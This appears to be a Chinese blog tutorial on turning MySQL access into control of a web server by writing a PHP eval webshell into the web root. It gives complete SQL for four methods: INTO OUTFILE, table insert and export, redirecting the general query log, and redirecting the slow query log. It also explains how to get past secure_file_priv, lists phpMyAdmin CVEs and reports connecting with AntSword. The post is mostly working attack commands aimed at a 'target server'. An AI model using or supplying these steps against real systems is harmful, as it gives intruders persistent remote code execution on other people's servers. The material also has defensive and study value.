Mysql写shell的几种方式
当我们拿到数据库权限时,可通过数据库管理工具写入shell到目标服务器上,利用shell控制目标服务器。
复现环境:
phpstudy_pro 8.1.0.6
mysql 5.7.26 root权限
网站绝对路径为D:\phpstudy_pro\WWW
利用方式:
- 通过
outfile写入shell
尝试通过outfile写入文件
报错[Code: 1290, SQL State: HY000]The MySQL server is running with the –secure-file-priv option so it cannot execute this statement
百度之后找到原因:mysql 5.6.34版本以后 secure_file_priv的值默认为NULL,限制无法导入和导出文件
解决办法:在my.ini配置文件[mysqld]下添加secure_file_priv =""使其默认为空

新建查询select
'<?php @eval($_POST[1]);?>' into outfile
'D:/phpstudy_pro/WWW/shell.php';,成功写入shell.php文件

蚁剑连接http://localhost:122/shell.php成功

- 向表插入shell并查询导出
将一句话木马作为数据插入test1表username字段中
insert into`test1`(`username`) values ('<?php @eval($_POST[1]);?>');


查询该数据并导出到shell.php
select username from test1 into outfile 'D:/phpstudy_pro/WWW/shell.php';

蚁剑连接http://localhost:122/shell.php成功

- 开启全局日志写入shell
首先查看全局日志是否开启
show variables like '%general%';
如图所示general_log=OFF全局日志未开启

开启全局日志
set global general_log = on;
将全局日志路径设置为shell文件路径
set global general_log_file = 'D:/phpstudy_pro/WWW/shell.php';

新建查询select '<?php @eval($_POST[1]);?>';
mysql会将执行的语句记录到全局日志,从而将shell写入网站目录

蚁剑连接成功
-
慢查询日志写入shell
由于在mysql>5.6.34中,secure_file_priv会阻拦我们使用outfile写入文件,没有服务器权限无法修改my.ini配置文件,可以利用慢查询日志写入shell,原理和利用全局日志差不多。首先一样查看慢查询日志是否开启
show variables like '%slow_query_log%';

开启慢查询日志并修改日志文件的绝对路径

使用慢查询日志时,只有当查询时间超过系统时间时才会记录在日志中
查询mysql系统时间 show global variables like '%long_query_time%';

向日志中写入shell
select '<?php @eval($_POST[1]);?>' or sleep(11);设置查询时间为11s

执行成功

蚁剑连接成功
- phpMyAdmin文件包含漏洞
CVE-2018-19968
CVE-2018-12613
CVE-2016-5734
CVE-2014-8959
本文详细介绍了如何利用MySQL的查询语句在不同场景下写入Shell,包括通过 outfile、插入数据并导出、开启全局日志和慢查询日志等方法,并演示了如何绕过 secure_file_priv 限制。最终成功在目标服务器上创建并连接到shell.php文件。
678

被折叠的 条评论
为什么被折叠?



